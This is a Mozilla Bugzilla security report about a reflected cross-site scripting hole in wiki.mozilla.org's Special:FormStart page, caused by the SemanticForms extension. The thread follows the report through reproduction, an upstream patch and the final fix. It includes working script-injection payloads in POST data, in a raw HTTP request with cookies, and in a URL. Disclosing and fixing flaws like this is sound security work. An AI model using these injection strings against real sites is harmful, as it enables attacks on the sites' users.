801638 - XSS: wiki.mozilla.org FormStart

Status: RESOLVED FIXED

(Websites :: wiki.mozilla.org, defect)

Description

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Hello,
My name is Siddhesh Gawde, I am a security researcher ,I have found one vulnerability on an sub-domain of mozilla
Details:

Type of issue: XSS
Browser: Mozilla Firefox v14.0.1
Operating System: Windows 7
Date of finding: 12/10/2012
Website Link: https://wiki.mozilla.org

Links:
The xss vuln is of post type here ,we need to post data here:
https://wiki.mozilla.org/Special:FormStart

Post data is :
page_name=xsss&namespace=&super_page=&params=1087794</script><script>alert(0)</script><"&form=11

This will get the alert box to pop up instantly !

I have attached image of the vulnerability (As proof) of the link which I have mentioned above.
If you need any other information about it then please let me know.
Eagerly waiting for your reply.

Thank you,
Siddhesh Gawde.

Comment 2

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Might this be a duplicate of the root issue that is behind bug 761114?

Comment 4

[Gordon P. Hemsley [:GPHemsley]]

I can't seem to reproduce this, but I might not be doing it right.

Is this still reproducible?

Comment 5

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

I can't seem to repro either, this may have been addressed by the most recent wiki updates.

Comment 6

[Siddhesh]

Not able to reproduce this one , the layout is changed completely.

Comment 7

[Siddhesh]

Sorry i made a mistake while checking it acually.
I am still able to reproduce it.
poc: http://gyazo.com/adc71a0b73d750d96bf7e4ca4573b2ad

Request :

LINK:
https://wiki.mozilla.org/Special:FormStart

HEADERS:
Host: wiki.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://wiki.mozilla.org/Special:FormStart
Cookie: __utma=132703880.484202267.1413400289.1413400289.1413468159.2; __utmz=132703880.1413468159.2.2.utmcsr=bugzilla.mozilla.org|utmccn=(referral)|utmcmd=referral|utmcct=/show_bug.cgi; optimizelySegments=%7B%222000810488%22%3A%22false%22%2C%222017550344%22%3A%22ff%22%2C%221994990450%22%3A%22none%22%2C%222011280991%22%3A%22direct%22%7D; optimizelyEndUserId=oeu1413467954737r0.04618477120119591; optimizelyBuckets=%7B%7D; __utmb=132703880.1.10.1413468159; __utmc=132703880; __utmt=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50


POST DATA:
page_name=x&form=11&namespace=&super_page=&params='"></script><script>alert(0)</script><"


I am using mozilla v29

Comment 8

[Gordon P. Hemsley [:GPHemsley]]

Ah, I can indeed reproduce that way. Thanks, Siddhesh.

Comment 9

[Gordon P. Hemsley [:GPHemsley]]

This appears to still be present in the latest version of the extension:

https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FSemanticForms/b4935cd735bdb8e67c6eb18661eedf511d3c8315/specials%2FSF_FormStart.php#L194

Comment 10

[csteipp]

I just confirmed this, this is the first time I had seen it.

https://bugzilla.wikimedia.org/show_bug.cgi?id=72436 (I can add anyone from Mozilla who wants access, just need to know your user on our instance).

We'll get a patch out asap to fix the problem, and coordinate getting an official patch from the maintainers of that extension into the main repo, probably by next week.

Comment 11

[Gordon P. Hemsley [:GPHemsley]]

(In reply to csteipp from comment #10)
> I just confirmed this, this is the first time I had seen it.
> 
> https://bugzilla.wikimedia.org/show_bug.cgi?id=72436 (I can add anyone from
> Mozilla who wants access, just need to know your user on our instance).

I'm the same on there as here; please add me.

> We'll get a patch out asap to fix the problem, and coordinate getting an
> official patch from the maintainers of that extension into the main repo,
> probably by next week.

We push to our environments every Thursday, FWIW.

Comment 12

[csteipp]

Gordon, I just added you to our bug.

The extension maintainer made a public patch for it (https://gerrit.wikimedia.org/r/#/c/168618/). 

I don't have an SMW dev instance, but that should solve the issue.

Comment 13

[Christie Koehler [:ckoehler]]

With the upgrade of the semantic extensions (bug 1081712), this should be fixed.

Comment 14

[Gordon P. Hemsley [:GPHemsley]]

This is still broken:

https://wiki.mozilla.org/Special:FormStart?page_name=x&form=11&namespace=&super_page=&params='"></script><script>alert('this is still broken')</script><"

Comment 15

[Gordon P. Hemsley [:GPHemsley]]

OK, SemanticForms has been upgraded to 3.1, and it looks like this is now fixed for real.